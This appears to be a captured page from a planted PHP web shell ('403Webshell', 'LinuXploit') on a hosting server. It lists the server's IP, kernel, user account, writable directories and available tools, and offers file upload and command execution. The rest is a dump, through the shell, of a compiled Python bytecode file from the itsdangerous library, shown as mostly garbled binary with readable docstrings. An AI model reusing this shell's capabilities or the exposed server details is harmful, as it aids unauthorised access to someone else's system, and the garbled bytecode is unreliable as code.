403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/itsdangerous/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/itsdangerous/__pycache__/signer.cpython-311.pyc
�

ʉ<b�$��X�ddlZddlZddlZddlmZddlmZddlmZddlmZddl	m
Z
ejee
fZejeZejejeefZGd�d	��ZGd
�de��ZGd�d
e��Zdedeje
fd�ZGd�d��ZdS)�N�)�_base64_alphabet)�
base64_decode)�
base64_encode��
want_bytes)�BadSignaturec�>�eZdZdZdededefd�Zdedededefd�ZdS)	�SigningAlgorithmzgSubclasses must implement :meth:`get_signature` to provide
    signature generation functionality.
    �key�value�returnc��t���)z2Returns the signature for the given key and value.)�NotImplementedError��selfrr
s   �5/usr/lib/python3/dist-packages/itsdangerous/signer.py�
get_signaturezSigningAlgorithm.get_signatures��!�#�#�#��sigc�T�tj||�||����S)zMVerifies the given signature matches the expected
        signature.
        )�hmac�compare_digestr)rrr
rs    r�verify_signaturez!SigningAlgorithm.verify_signatures'���"�3��(:�(:�3��(F�(F�G�G�GrN)�__name__�
__module__�__qualname__�__doc__�bytesr�boolr�rrrrs���������$��$�u�$��$�$�$�$�H�E�H�%�H�e�H��H�H�H�H�H�Hrrc�&�eZdZdZdededefd�ZdS)�
NoneAlgorithmz`Provides an algorithm that does not perform any signing and
    returns an empty signature.
    rr
rc��dS)Nrr!rs   rrzNoneAlgorithm.get_signature%s���srN)rrrrrrr!rrr#r# sG�����������u��������rr#c�t�eZdZUdZeej��Zej	e
d<d
dej	fd�Zdededefd	�Z
dS)�
HMACAlgorithmz*Provides signature generation using HMACs.�default_digest_methodN�
digest_methodc�&�|�|j}||_dS�N)r'r()rr(s  r�__init__zHMACAlgorithm.__init__1s��� � �6�M�%2����rrr
rc�b�tj|||j���}|���S)N)�msg�	digestmod)r�newr(�digest)rrr
�macs    rrzHMACAlgorithm.get_signature7s)���h�s���1C�D�D�D���z�z�|�|�rr*)rrrr�staticmethod�hashlib�sha1r'�_t�Any�__annotations__r+rrr!rrr&r&)s��������4�4�
%1�L���$>�$>��2�6�>�>�>�3�3�b�f�3�3�3�3����u��������rr&�
secret_keyrc�r�t|ttf��rt|��gSd�|D��S)Nc�,�g|]}t|����Sr!r)�.0�ss  r�
<listcomp>z#_make_keys_list.<locals>.<listcomp>@s��.�.�.�a�J�q�M�M�.�.�.r)�
isinstance�strrr)r8s r�_make_keys_listr@<s=���*�s�E�l�+�+�(��:�&�&�'�'�.�.�:�.�.�.�.rc�P�eZdZUdZeej��Zej	e
d<dZee
d<					dde
d	ed
edejedejej	d
ejefd�Zedefd���Zddedefd�Zdedefd�Zdedefd�Zdededefd�Zdedefd�Zdedefd�ZdS)�Signera�A signer securely signs bytes, then unsigns them to verify that
    the value hasn't been changed.

    The secret key should be a random string of ``bytes`` and should not
    be saved to code or version control. Different salts should be used
    to distinguish signing in different contexts. See :doc:`/concepts`
    for information about the security of the secret key and salt.

    :param secret_key: The secret key to sign and verify with. Can be a
        list of keys, oldest to newest, to support key rotation.
    :param salt: Extra key to combine with ``secret_key`` to distinguish
        signatures in different contexts.
    :param sep: Separator between the signature and value.
    :param key_derivation: How to derive the signing key from the secret
        key and salt. Possible values are ``concat``, ``django-concat``,
        or ``hmac``. Defaults to :attr:`default_key_derivation`, which
        defaults to ``django-concat``.
    :param digest_method: Hash function to use when generating the HMAC
        signature. Defaults to :attr:`default_digest_method`, which
        defaults to :func:`hashlib.sha1`. Note that the security of the
        hash alone doesn't apply when used intermediately in HMAC.
    :param algorithm: A :class:`SigningAlgorithm` instance to use
        instead of building a default :class:`HMACAlgorithm` with the
        ``digest_method``.

    .. versionchanged:: 2.0
        Added support for key rotation by passing a list to
        ``secret_key``.

    .. versionchanged:: 0.18
        ``algorithm`` was added as an argument to the class constructor.

    .. versionchanged:: 0.14
        ``key_derivation`` and ``digest_method`` were added as arguments
        to the class constructor.
    r'�
django-concat�default_key_derivation�itsdangerous.Signer�.Nr8�salt�sep�key_derivationr(�	algorithmc�@�t|��|_t|��|_|jtvrtd���|�t|��}nd}||_|�|j}||_|�|j	}||_
|�t|j
��}||_dS)Nz�The given separator cannot be used because it may be contained in the signature itself. ASCII letters, digits, and '-_=' must not be used.rE)
r@�secret_keysrrHr�
ValueErrorrGrDrIr'r(r&rJ)rr8rGrHrIr(rJs       rr+zSigner.__init__xs���,;�:�+F�+F���$�S�/�/����8�'�'�'��7���
����d�#�#�D�D�)�D���	��!�!�8�N�#1���� � �6�M�%2�����%�d�&8�9�9�I�+4����rrc��|jdS)z�The newest (last) entry in the :attr:`secret_keys` list. This
        is for compatibility from before key rotation support was added.
        ���)rL)rs rr8zSigner.secret_key�s��
���#�#rc�n�|�|jd}nt|��}|jdkrGtjt
|�|j|z�������S|jdkrJtjt
|�|jdz|z�������S|jdkrItj
||j���}|�|j��|���S|jdkr|Std	���)
a�This method is called to derive the key. The default key
        derivation choices can be overridden here. Key derivation is not
        intended to be used as a security method to make a complex key
        out of a short password. Instead you should use large random
        secret keys.

        :param secret_key: A specific secret key to derive from.
            Defaults to the last item in :attr:`secret_keys`.

        .. versionchanged:: 2.0
            Added the ``secret_key`` parameter.
        NrO�concatrCssignerr)r.�nonezUnknown key derivation method)
rLrrIr5�castrr(rGr0rr/�update�	TypeError)rr8r1s   r�
derive_keyzSigner.derive_key�s �����)�"�-�J�J�#�J�/�/�J���(�*�*��7�5�$�"4�"4�T�Y��5K�"L�"L�"S�"S�"U�"U�V�V�V�
�
 �O�
3�
3��7��t�)�)�$�)�i�*?�*�*L�M�M�T�T�V�V���
��
 �F�
*�
*��(�:��1C�D�D�D�C��J�J�t�y�!�!�!��:�:�<�<��
�
 �F�
*�
*����;�<�<�<rr
c��t|��}|���}|j�||��}t	|��S)z*Returns the signature for the given value.)rrVrJrr)rr
rrs    rrzSigner.get_signature�sC���5�!�!���o�o�����n�*�*�3��6�6���S�!�!�!rc�`�t|��}||jz|�|��zS)zSigns the given string.)rrHr)rr
s  r�signzSigner.sign�s/���5�!�!���t�x��$�"4�"4�U�";�";�;�;rrc��	t|��}n#t$rYdSwxYwt|��}t|j��D]6}|�|��}|j�|||��rdS�7dS)z+Verifies the signature for the given value.FT)r�	Exceptionr�reversedrLrVrJr)rr
rr8rs     rrzSigner.verify_signature�s���	���$�$�C�C���	�	�	��5�5�	�����5�!�!��"�4�#3�4�4�	�	�J��/�/�*�-�-�C��~�.�.�s�E�3�?�?�
��t�t�
��us��
 � �signed_valuec��t|��}|j|vrtd|j�d����|�|jd��\}}|�||��r|Std|�d�|����)zUnsigns the given string.zNo z found in valuerz
Signature z does not match)�payload)rrHr	�rsplitr)rr]r
rs    r�unsignz
Signer.unsign�s���!�,�/�/���8�<�'�'��@�T�X�@�@�@�A�A�A�!�(�(���1�5�5�
��s�� � ���,�,�	��L��>��>�>�>��N�N�N�Nrc�T�	|�|��dS#t$rYdSwxYw)znOnly validates the given signed value. Returns ``True`` if
        the signature exists and is valid.
        TF)rar	)rr]s  r�validatezSigner.validate�s@��	��K�K��%�%�%��4���	�	�	��5�5�	���s��
'�')rErFNNNr*)rrrrr2r3r4r'r5r6r7rDr?�
_t_secret_key�_t_opt_str_bytes�_t_str_bytes�Optionalrr+�propertyrr8rVrrYr rrarcr!rrrBrBCs��������#�#�V%1�L���$>�$>��2�6�>�>�>�#2��C�1�1�1�
"8� �+/�-1�37�,5�,5�!�,5��,5��	,5�
��C�(�,5��{�2�6�*�
,5��;�/�0�,5�,5�,5�,5�\�$�E�$�$�$��X�$�=�=�%5�=��=�=�=�=�B"�<�"�E�"�"�"�"�<�,�<�5�<�<�<�<�
�l����$�����"O�<�O�E�O�O�O�O��\��d������rrB)r3r�typingr5�encodingrrrr�excr	�Unionr?rrfrgre�Iterablerdrr#r&�Listr@rBr!rr�<module>ros���������������&�&�&�&�&�&�#�#�#�#�#�#�#�#�#�#�#�#� � � � � � ��������x��U�
�#���;�|�,������\�2�L�@�A�
�
H�
H�
H�
H�
H�
H�
H�
H� �����$���������$����&/�
�/�"�'�%�.�/�/�/�/�~�~�~�~�~�~�~�~�~�~r

Youez - 2016 - github.com/yon3zu
LinuXploit